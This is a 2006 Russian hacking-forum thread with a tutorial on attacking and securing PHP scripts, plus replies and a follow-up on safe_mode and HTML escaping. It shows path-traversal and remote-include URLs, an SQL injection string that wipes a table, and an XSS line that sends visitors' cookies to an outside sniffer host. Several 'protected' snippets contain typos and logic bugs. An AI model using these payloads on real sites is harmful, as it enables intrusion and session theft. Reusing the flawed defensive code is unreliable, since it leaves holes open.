Авторские статьи Основные методы взлома и защиты скриптов на Php

Discussion in 'Статьи' started by DIAgen, 18 May 2006.

  1. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Основные методы взлома и защиты скриптов на Php v1.2

    By DIAgen for AntiChat​

    Это вторая версия пособия, я решил переделать ее полностью, дополнить тем, что сам использую для написания скриптов. Однозначно можно сказать, что примеры в основном будут касаться защите, так как проще сломать, чем сделать.
    Простите меня, если в некоторых местах будут погрешности.
    "Хакеры - люди вполне порядочные, и занимаются взломом вовсе не для того, чтобы навредить кому-то. Чем раньше кто-то найдет уязвимость в вашей программе, тем скорее вы ее исправите, поэтому деятельность хакеров-профессионалов можно даже рассматривать как полезную."

    Имена файлов в URL​
    Большинство скриптов используют вспомогательные файлы, которые должны быть загружены в зависимости от выполняемой операции. В большинстве случаев имена файлов фиксированные, но в некоторых случаях это не удобно. Для загрузки не фиксированных файлов используют GET переменные (полученные из форм браузера), которые содержат информацию для загрузки файлов.
    Включаемы файлы. Простейший пример
    PHP:
    $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
    include 
    "page/$p";
    Обращение к скрипту выглядит так:
    .../index.php?p=news.php
    Уязвимость заключается в том, что можно прочитать произвольные файлы на сервере.
    .../index,php?p=../../../../../etc/passwd
    На данный момент etc/passwd предоставляет мало интереса, по сравнению со старыми версиями LUNIX, эту уязвимость можно применить для отображения .htaccess файлов, файлов конфигурации и т.д.
    Попытка защиты.
    PHP:
    $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
    include 
    "page/$p.php";
    Это блокирует загрузку etc/passwd и .htaccess, но можно вызвать скрипт с параметром
    .../index.php?p=../index
    Вызовет зацикливание скрипта, так же можно подключить служебные файлы, расположенные в закрытой директории.
    Включаемые файлы: allow_url_fopen
    PHP:
    $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
    chdir("page");
    include 
    "$p.php";
    В этом скрипте возможно выполнение удаленного файла на сервере
    .../index.php?p=http://user.ru/load
    Не чего хорошего от этого ожидать не приходится, для того что бы запретить удаленный include файлов нужно указать в настройках php.ini allow_url_fopen=OFF, однако это блокирует fopen() и file_get_contents().
    Методы разрешения.
    Во многих статьях написано, что рекомендуется использовать оператор switch, но использовать его не удобно по следующим причинам: при добавлении новой страницы придется редактировать index.php; пропустив случайно break, придется долго искать, в чем же ошибка.
    Наиболее рациональный способом является Ограничение набора символов, который жестко ограничивает диапазон символов, которые могут присутствовать в имени файла.
    PHP:
    $ras="php";
    chdir("page");
    $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
    $p=preg_replace('/[^a-z0-9_-]+/s','',$p);
    if(!@
    is_file("$p.$ras")) $p="error";
    include 
    "$p.$ext";
    SQL-Injection​
    Функции PHP для работы с базами данных далеки от совершенства, работая на прямую с ними, возможны ошибки, приводящие к появлению уязвимостей.
    Для примера возьмем такой код:
    PHP:
    $sql="DELETE FROM".TOPICS_TABLE."
        WHERE topic_id='
    $topic_id'
        OR topic_moved_id='
    $topic_id'";
    if(!(
    $result=$db->sql_query($sql)))
    {
        
    messge_die(GENERAL_ERROR'Error in deleting post',
        
    '',_LINE_,_FILE_,$sql);
    }
    Переменная $topic_id приходит из формы, если подставить index.php?topic_id=1’+OR+1!=’
    В результате запроса превратится в такой вид:
    PHP:
    DELETE FROM php_topics
    WHERE topic_id
    ='1' OR 1!=''
    OR topic_moved_id='1' OR 1!=''
    При выполнении скрипта, очисться вся таблица в базе данных. Значение переменных вставляется не в качестве данных, а в качестве участка sql-кода, который и будет затем выполнен.
    Предыдущий скрипт следует записать таким образом:
    PHP:
    $sql="DELETE FROM".TOPICS_TABLE."
        WHERE topic_id='"
    .addslashes($topic_id)."'
        OR topic_moved_id='"
    .addslashes($topic_id)."'";
    if(!(
    $result=$db->sql_query($sql)))
    {
        
    messge_die(GENERAL_ERROR'Error in deleting post',
        
    '',_LINE_,_FILE_,$sql);
    }
    Используя функцию addslashes(), которая экранирует символы «'».
    Недостатки magic_quotrs_gpc.
    Используя magic_quotrs_gpc все пришедшие переменные из формы, уже содержат слеши перед опасными символами( например «’» и «”»).
    PHP:
    <form action="<?=$_SERVER['SCRIPT_NAME']?>">
    <input type="text" name="n" 
    value="<?=@htmlspecialchars(stripslashes($_REQUESR['n']))?>">
    <input type="submet">
    </form>
    Допустим, что хостер выключил magic_quotrs_gpc, и отправив anti\’s мы получим anti’s, слеш потерялся из-за stripslashes(), отсюда следует делать проверку на вызов stripslashes(), если ключен magic_quotrs_gpc.
    Решение есть уже давно, вместо экранирования и вставки переменных в запрос на их место помещаются специальные маркеры, вот эти функции:
    PHP:
    function mysql_qw() {
      
    $args func_get_args();
      
    $conn null;
      if (
    is_resource($args[0])) $conn array_shift($args);
      
    $query call_user_func_array("mysql_make_qw"$args);
      return 
    $conn!==nullmysql_query($query$conn) : mysql_query($query);
    }
    function 
    mysql_make_qw() {
      
    $args func_get_args();
      
    $tmpl =& $args[0];
      
    $tmpl str_replace("%""%%"$tmpl);
      
    $tmpl str_replace("?""%s"$tmpl);
      foreach (
    $args as $i=>$v) {
        if (!
    $i) continue;        
        if (
    is_int($v)) continue;
        
    $args[$i] = "'".mysql_escape_string($v)."'";
      }
      for (
    $i=$c=count($args)-1$i<$c+20$i++)
        
    $args[$i+1] = "UNKNOWN_PLACEHOLDER_$i";
      return 
    call_user_func_array("sprintf"$args);
    }
    Вот не большой пример.
    PHP:
    $name="' OR '1";
    //Допустимы запрос
    echo mysql_make_qw('DELETE FROM people WHERE name=?'$name)."<br>"
    //Недопустимый запрос
    echo mysql_make_qw('DELETE FROM people WHERE name=? OR ?'$name)."<br>"
    mysql_qw('DELETE FROM people WHERE name=? OR ?'$name)
    or die(
    mysql_error());
    В результате получим:
    PHP:
    DELETE FROM people WHERE name='\' OR \'1'
    DELETE FROM people WHERE name='\' OR \'1 OR id=UNKTNOWN_PLACEHOLDER_1
    Unknow column '
    UNKNOWM_PLACEHOLDER_1' in 'where clause'
    Теперь любая попытка выполнить такого вида запроса заранее обречена на не удачу.

    Кража SID​
    Я не буду описывать использование SID, а сразу о проблеме. Если узнать SID другого пользователя, можно подставить его в Cookies или подставить в URL, а последствия можно представить.
    Случайное указание SID
    Сам владелец сессии может оставить ее в виде ссылки в форуме или в гостевой книге, из которой не удален SID.Зайдя по этой ссылки, становишься владельцем SID. Конечно SID удаляется, если пользователь не проявляет ни какой деятельности.
    Уязвимости в html-шаблонах
    Например возьмем гостевую книгу, сообщения записываются в файл, допустим что тест с файла выводится без htmlspecialchars(), добавив в гостевую книгу
    PHP:
    <script>window.open("http://snifer.ru/get.php?"+document.cookie,'new')</script>
    Благодаря этому можно получить Cookies других пользователей.
    Привязка Sid к IP-адресу
    Этот метод привязки к ip очень распространен
    PHP:
    $_SESSION['author']=true;
    $_SESSION[‘ip’]=$_SERVER['REMOTE_ADDR'];
    С крипт предоставляющий доступ к определенному ресурсу
    PHP:
    if(!empty($_SESSION['author'] && $SESSION['ip'
    !=@
    SERVER ['REMOTE_ADDR'])) {
    //Доступ к ресурсу открыт
    } else die("Доступа нет");
    Конечно и у этого метода есть свои недостатки.

    Противостоянии DoS-атакам​
    Перейдем сразу к дела, просто про DoS-атаки можно найти везде. Мы рассмотрим как можно противостоять DoS-атакам.
    Ограничении ресурсов
    Элементарную DoS-атаку может случайно выполнить любой пользователь, если запустит скрипт содержащий ошибку, что может привести к зацикливанию скрипта или захвату ресурсов сервера. Для решения, можно применять в скриптах директивы, которые можно установить не только ini.php, но и в скрипте используя функцию ini_set().
    set_memory_limit() memory_limit()
    Эти функции ограничивают максимальный объем памяти, который разрешено выделять скрипту. При превышение этого объема, скрипт принудительно завершается
    max_execution_time() set_time_limit()
    Ограничивают время работы сценария
     
    #1 DIAgen, 18 May 2006
    Last edited: 20 May 2006
    5 people like this.
  2. DetMyl

    DetMyl Люминевый самолет

    Joined:
    17 Dec 2005
    Messages:
    109
    Likes Received:
    75
    Reputations:
    70
     
    2 people like this.
  3. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Благодарю!
     
    1 person likes this.
  4. syntacsis

    syntacsis Elder - Старейшина

    Joined:
    14 Nov 2005
    Messages:
    78
    Likes Received:
    31
    Reputations:
    6
    DIAgen
    max_input_time

    Но честно говоря, заявленная тема не особенно раскрыта )))
    Всё равно + за старание
     
    #4 syntacsis, 19 May 2006
    Last edited: 19 May 2006
  5. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Статью можно дополнить, матерьала много, это была пробная версии, если комуто это пригодится, я могу доделать, статья будет большая! Ну извеняюсь за ошибки, просто я ее писал на скорую руку, и орфография именя не очень! Сегодня доделаю и скину!
     
    #5 DIAgen, 19 May 2006
    Last edited: 19 May 2006
    1 person likes this.
  6. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    а не лучше всегда юзать intval($topic_id) ?
    тогда в скрипт вообще не попадут левые символы, при кривом запросе там будет 0.
     
  7. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Может и лучше, но я использую комбинированную функцию для проверки входных переменных:
    PHP:
    function check$str$maxchar 30)
    {
    $str htmlspecialchars($str);
    $str substr$str0$maxchar );
    $str trim$str );
    $str str_replace"'"""$str );
    $str str_replace'"'""$str );
    $str str_replace"\n""<BR>"$str );
    return 
    $str;
    }
     
  8. G1uK_R3@L

    G1uK_R3@L New Member

    Joined:
    12 Apr 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Насчёт инклуда, еще вариант -
    Скрипту передаётся Id, и по Id делается выборка имени файла из БД, таким образом избегаем проблем и фильтруем уже Sql Inj, а не инклуд =) Так делаю я, если кому интересно могу пример скрипта дать.
     
  9. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Приемы безопасного программирования на Php

    Рассмотрим некоторые приемы и средства PHP, касающиеся безопасности. Здесь будут только некоторые моменты безопасности, так как все включить в одну статью не возможно. Я постарался все изложить кратко и доступно, я не включил сюда работу с register_global, работу с ошибками, и Basic авторизацию, так как это можно найти в любом учебнике по PHP. И такк начнем

    Safe_mode​
    Права доступа к файлам – обычно задачу пытаются решить следующими действами
    - Каждому клиенту заводится аккуант, т.е выдается пароль, логин и соответствующий ему числовой UID (User ID)
    - Аккуанту выдается отдельная домашняя директория, принадлежащая только указанному пользователю
    - Права на домашнюю директорию выставляются равными rw-------.
    При таких правах механизм Unix обеспечивают невозможность захода пользователя в чужую директорию. Будем считать что каждый пользователь хранит данные своего сайта в домашней директории. Apache – это процесс, запущенный от лица системного пользователя httpd (иногда nobody). При поступлении запроса к любому сайту он работает именно под этим пользователем, и не имеет возможности переключиться на владельца сайта (по крайней мере, в стандартной поставке). Таким образом, чтобы файлы клиентов были доступны на чтение и запись пользователю httpd:
    - устанавливать на директории более мягкие ограничения rwxrwx---
    - входить в группу httpd, которой принадлежит и системный пользователь httpd
    В итоге Apache может читать файлы клиентов, однако возникают серьезные проблемы:
    - Каждый пользователь получает возможность манипулировать файлами чужого аккаунта.
    - Если PHP-скрипт запущенный Apache создает какой-то файл, то его владельцем становится не пользователь аккаунта, а httpd.
    - Права доступа на файлы должны, по крайней мере, разрешать чтение и запись для группы владельца файла, т.е для httpd, иначе PHP-скрипты не смогут нечего записывать в файлы, созданные пользователем в ручную.
    Директивы safe_mode
    В режиме safe_mode при открытии любого файла искусственно проверяет, имеет ли скрипт права это делать лил нет. С его точки зрения, файл можно прочитать, если его владелец (UID) совпадает с владельцем самого скрипта. Это порождает ужасную путаницу. Решение может дать директива:
    PHP:
    Safe_mide_gid On
    Заставляет PHP проверять не UID, а GID файлов, т.к группа владельца аккаунта равна httpd, расщепление файлов на закаченные по FTP и созданные скриптом не проявится в фатальной форме.
    PHP:
    open_basedir директория
    может задавать внутри того или иного виртуального хоста. Она говорит PHP, что ему запрещено работать с файлами вне указанного каталога. Однако ведь не только PHP имеет возможность работы с файлами:
    system(“echo hello>/home/usertwo/index.php”);
    PHP:
    safe_node_exec_dir директория
    Она задает, из каких директорий запускать программы при помощи system().
    Средство для запрета выполнения тех или иных функции PHP:
    PHP:
    disable_functionc функ1функ 2, ...
    Только механизмы OC могут обеспечить по-настоящему надежную и защищенную среду выполнения сценариев.

    Вставка форматирования в текст​
    Использование HtmlSpecialChars
    Первая задача, которая стоит перед программистом, решить ограничить допустимое форматирование сообщения, тем или иными способ удалить из него HTML-тэги. Казалось бы, в PHP для этого имеется специальная функция
    $test = strip_tags ($test);
    Такой способ, однако очень плох! Дело в том, что strip_tags() использует весьма примитивный алгоритм для вырезания тэгов, а потому в некоторых случаях ее можно обмануть.
    Единственно правильный и гарантированный способ удаления HTML-тэгов из сообщения погасить или экранировать их, так чтобы браузер не воспринимал боле текст, как содержащий тэги. Для этого достаточно выполнить следующие замены:
    & --> &amp;
    < --> &lt;
    > --> &gt;
    После этого все тэги, имеющиеся в тексте, потеряют свой специальный смысл и превратятся в обычные символьные цепочки. Производит такую замену функция PHP HtmlSpecialChars()
    Разрешение ограниченного форматирования
    Как теперь разрешить к примеру, тэги <b>…</b> и <i>…</i> и запретить все остальные, это можно решить следующим образом
    $test = htmlspecialchars($text);
    $text = preg_replace (‘{&lt;(/?(b|i))&gt;}si’, ‘<$I>’, $test);
    BBCode
    Существует и другой прием разрешения ограниченного форматирования текста. Исторически он называется BBCode и заключается во вставке псевдотэгов в сообщение, которые в дальнейшем, уде после обработки htmlspecialchars() заменяются на нормальные HTML тэги.

    Директива .htaccess​
    Приведу основные примеры которые могут помочь в безопасности
    Запрет на открытие произвольных файлов в данной директории
    PHP:
    deny from all
    Разрешить доступ к директории
    PHP:
    allow from all
    Запрет на выполнение PHP-скриптов в директории, в место этого будут показываться их содержание
    PHP:
    AddType application/x-httpd-php-sourse .php